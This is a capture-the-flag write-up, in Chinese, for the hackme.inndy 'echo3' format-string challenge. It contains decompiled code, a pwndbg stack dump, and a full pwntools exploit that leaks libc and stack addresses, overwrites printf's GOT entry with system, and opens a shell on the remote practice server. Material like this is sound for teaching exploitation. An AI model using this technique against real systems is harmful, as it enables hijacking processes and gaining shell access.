hackme inndy echo3

idea

这道题的利用方式虽然也是格式化字符串,但是不在 stack 上而是在 bss 段,所以利用的方式也会变得复杂,不能直接修改指定位置的内存值,而是要构造一个 “跳板” 来实现任意位置的写。在 main 函数中还有一个坑:程式会取一个随机数用 alloca 函数来随机化栈地址,所以需要先泄漏一下栈地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
void *v3; // esp
int fd; // [esp+14h] [ebp-1Ch]
int buf; // [esp+18h] [ebp-18h]
unsigned int v6; // [esp+24h] [ebp-Ch]
int *v7; // [esp+28h] [ebp-8h]

v7 = &argc;
v6 = __readgsdword(0x14u);
setbuf(stdout, 0);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
puts("urandom error");
exit(1);
}
read(fd, &buf, 8u);
read(fd, &magic, 4u);
close(fd);
v3 = alloca(16 * (((buf & 0x3039u) + 30) / 0x10));
hardfmt();
}

还有一点需要知道:不同 libc 加载程序时生成的栈帧会有所不同,每次加载的函数也有所不同,所以要找到 printf 时栈变量比较丰富的情况。

这是我本地 printf 时栈的情况,泄漏 33 偏移的地址可以得到 libc_base 的地址,然后就需要找跳板了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
pwndbg> stack 100
00:0000│ esp 0xffa5b7d0 —▸ 0x804a080 (buff) ◂— 0x31373425 ('%471')
... ↓
02:0008│ 0xffa5b7d8 ◂— 0x1000
03:000c│ 0xffa5b7dc —▸ 0xf7f94530 —▸ 0x8048312 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffa5b7e0 ◂— 0x8b2e2ff5
05:0014│ 0xffa5b7e4 ◂— 0x1
06:0018│ 0xffa5b7e8 ◂— 0x0
07:001c│ 0xffa5b7ec —▸ 0xf7e3e1b8 (setbuffer+200) ◂— add esp, 0x10
08:0020│ 0xffa5b7f0 —▸ 0xf7f90d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│ 0xffa5b7f4 ◂— 0x0
... ↓
0b:002c│ 0xffa5b7fc —▸ 0x80485d2 (hardfmt+12) ◂— add ebx, 0x1a2e
0c:0030│ 0xffa5b800 —▸ 0xf7fbe000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f3c
0d:0034│ 0xffa5b804 ◂— 0x1
0e:0038│ 0xffa5b808 —▸ 0xffa5b7e0 ◂— 0x8b2e2ff5
0f:003c│ 0xffa5b80c ◂— 0x227e6600
10:0040│ 0xffa5b810 —▸ 0xffa5b84e ◂— 0x30804
11:0044│ 0xffa5b814 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
12:0048│ ebp 0xffa5b818 —▸ 0xffa5b898 ◂— 0x0
13:004c│ 0xffa5b81c —▸ 0x804877b (main+236) ◂— mov eax, 0
14:0050│ 0xffa5b820 —▸ 0xf7fa87eb (_dl_fixup+11) ◂— add esi, 0x15815
15:0054│ 0xffa5b824 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
16:0058│ 0xffa5b828 —▸ 0xf7f90000 ◂— 0x1b1db0
... ↓
18:0060│ 0xffa5b830 —▸ 0xffa5b898 ◂— 0x0
19:0064│ 0xffa5b834 —▸ 0xf7faf010 (_dl_runtime_resolve+16) ◂— pop edx
1a:0068│ 0xffa5b838 ◂— 0x4
1b:006c│ 0xffa5b83c —▸ 0xffa5b898 ◂— 0x0
1c:0070│ 0xffa5b840 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
1d:0074│ 0xffa5b844 —▸ 0x804a060 (magic) ◂— 0x8b2e2ff5
1e:0078│ 0xffa5b848 —▸ 0xf7eb43ac (close+28) ◂— mov ebx, edx
1f:007c│ 0xffa5b84c —▸ 0x804874a (main+187) ◂— add esp, 0x10
20:0080│ 0xffa5b850 ◂— 0x3
21:0084│ 0xffa5b854 —▸ 0x804a060 (magic) ◂— 0x8b2e2ff5
22:0088│ 0xffa5b858 ◂— 0x4
23:008c│ 0xffa5b85c —▸ 0x80486a6 (main+23) ◂— add ebx, 0x195a
24:0090│ 0xffa5b860 ◂— 0x8000
25:0094│ 0xffa5b864 —▸ 0xf7f90000 ◂— 0x1b1db0
26:0098│ 0xffa5b868 —▸ 0xffa5b94c —▸ 0xffa5bfd1 ◂— 0x505f444c ('LD_P')
27:009c│ 0xffa5b86c —▸ 0xffa5b944 —▸ 0xffa5bfc9 ◂— './echo3'
28:00a0│ 0xffa5b870 ◂— 0x1
29:00a4│ 0xffa5b874 ◂— 0x0
2a:00a8│ 0xffa5b878 —▸ 0xffa5b94c —▸ 0xffa5bfd1 ◂— 0x505f444c ('LD_P')
2b:00ac│ 0xffa5b87c ◂— 0x3
2c:00b0│ 0xffa5b880 ◂— 0x602347f4
2d:00b4│ 0xffa5b884 ◂— 0x14bce083
2e:00b8│ 0xffa5b888 —▸ 0xffa5b94c —▸ 0xffa5bfd1 ◂— 0x505f444c ('LD_P')
2f:00bc│ 0xffa5b88c ◂— 0x227e6600
30:00c0│ 0xffa5b890 —▸ 0xffa5b8b0 ◂— 0x1
31:00c4│ 0xffa5b894 ◂— 0x0
... ↓
33:00cc│ 0xffa5b89c —▸ 0xf7df6637 (__libc_start_main+247) ◂— add esp, 0x10
34:00d0│ 0xffa5b8a0 —▸ 0xf7f90000 ◂— 0x1b1db0
... ↓
36:00d8│ 0xffa5b8a8 ◂— 0x0
37:00dc│ 0xffa5b8ac —▸ 0xf7df6637 (__libc_start_main+247) ◂— add esp, 0x10
38:00e0│ 0xffa5b8b0 ◂— 0x1
39:00e4│ 0xffa5b8b4 —▸ 0xffa5b944 —▸ 0xffa5bfc9 ◂— './echo3'
3a:00e8│ 0xffa5b8b8 —▸ 0xffa5b94c —▸ 0xffa5bfd1 ◂— 0x505f444c ('LD_P')
3b:00ec│ 0xffa5b8bc ◂— 0x0
... ↓
3e:00f8│ 0xffa5b8c8 —▸ 0xf7f90000 ◂— 0x1b1db0
3f:00fc│ 0xffa5b8cc —▸ 0xf7fbec04 ◂— 0x0
40:0100│ 0xffa5b8d0 —▸ 0xf7fbe000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f3c
41:0104│ 0xffa5b8d4 ◂— 0x0
42:0108│ 0xffa5b8d8 —▸ 0xf7f90000 ◂— 0x1b1db0
... ↓
44:0110│ 0xffa5b8e0 ◂— 0x0
45:0114│ 0xffa5b8e4 ◂— 0x8c714019
46:0118│ 0xffa5b8e8 ◂— 0x79cbce09
47:011c│ 0xffa5b8ec ◂— 0x0
... ↓
4a:0128│ 0xffa5b8f8 ◂— 0x1
4b:012c│ 0xffa5b8fc —▸ 0x80484b0 (_start) ◂— xor ebp, ebp
4c:0130│ 0xffa5b900 ◂— 0x0
4d:0134│ 0xffa5b904 —▸ 0xf7faf010 (_dl_runtime_resolve+16) ◂— pop edx
4e:0138│ 0xffa5b908 —▸ 0xf7fa9880 (_dl_fini) ◂— push ebp
4f:013c│ 0xffa5b90c —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
50:0140│ 0xffa5b910 ◂— 0x1
51:0144│ 0xffa5b914 —▸ 0x80484b0 (_start) ◂— xor ebp, ebp
52:0148│ 0xffa5b918 ◂— 0x0
53:014c│ 0xffa5b91c —▸ 0x80484e2 (_start+50) ◂— hlt
54:0150│ 0xffa5b920 —▸ 0x804868f (main) ◂— lea ecx, [esp + 4]
55:0154│ 0xffa5b924 ◂— 0x1
56:0158│ 0xffa5b928 —▸ 0xffa5b944 —▸ 0xffa5bfc9 ◂— './echo3'
57:015c│ 0xffa5b92c —▸ 0x80487a0 (__libc_csu_init) ◂— push ebp
58:0160│ 0xffa5b930 —▸ 0x8048800 (__libc_csu_fini) ◂— ret
59:0164│ 0xffa5b934 —▸ 0xf7fa9880 (_dl_fini) ◂— push ebp
5a:0168│ 0xffa5b938 —▸ 0xffa5b93c —▸ 0xf7fbe918 ◂— 0x0
5b:016c│ 0xffa5b93c —▸ 0xf7fbe918 ◂— 0x0
5c:0170│ 0xffa5b940 ◂— 0x1
5d:0174│ 0xffa5b944 —▸ 0xffa5bfc9 ◂— './echo3'
5e:0178│ 0xffa5b948 ◂— 0x0
5f:017c│ 0xffa5b94c —▸ 0xffa5bfd1 ◂— 0x505f444c ('LD_P')
60:0180│ 0xffa5b950 ◂— 0x0
61:0184│ 0xffa5b954 ◂— 0x20 /* ' ' */
62:0188│ 0xffa5b958 —▸ 0xf7f98dc0 (__kernel_vsyscall) ◂— push ecx
63:018c│ 0xffa5b95c ◂— 0x21 /* '!' */

由于打远程的服务器,所以每次写两个字节。got 表的地址高地址的两字节都是一样的,可以直接写低两字节。

首先要找到 2 个指向栈中的地址

修改这两个地址的低两字节指向栈中指向和 got 表高字节相同的栈地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
import time
#context(log_level = "debug")

elf = ELF('./echo3')
libc = ELF('./libc-2.23.so.i386')

printf_got = elf.got['printf']

while True:
#t = process('./echo3', env = {"LD_PRELOAD": "./libc-2.23.so.i386"})
t = remote('hackme.inndy.tw', 7720)
payload = '%51$p.%14$p'
t.sendline(payload)
libc_start_main = t.recvuntil('.', drop = True)
if libc_start_main[-3:] == '637':
break
t.close


libc_base = int(libc_start_main, 16) - libc.symbols['__libc_start_main'] - 0xf7
stack_base = int(t.recvuntil('\n', drop = True), 16) - 0x10
log.info('libc_base %x', libc_base)
log.info('stack_base %x', stack_base)
payload = '%' + str((stack_base + 0x2c) & 0xffff) + 'c%38$hn'
payload += '%' + str( ((stack_base + 0x4c) & 0xffff) - ((stack_base + 0x2c) & 0xffff)) + 'c%39$hn'
t.sendline(payload)
sleep(1)
payload = '%' + str(printf_got & 0xffff) + 'c%93$hn'
payload += '%' + str(((printf_got + 2) & 0xffff ) - (printf_got & 0xffff)) + 'c%95$hn'
t.sendline(payload)
sleep(1)
system = libc_base + libc.symbols['system']

payload = '%' + str(system & 0xffff) + 'c%19$hn'
payload += '%' + str((system & 0xffff) - ((system >> 16) & 0xffff)) + 'c%11$hn'
t.sendline(payload)
sleep(1)
t.sendline('/bin/sh\x00')
t.interactive()

文章作者: Carl Star
文章链接: http://carlstar.club/2019/01/02/echo3/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo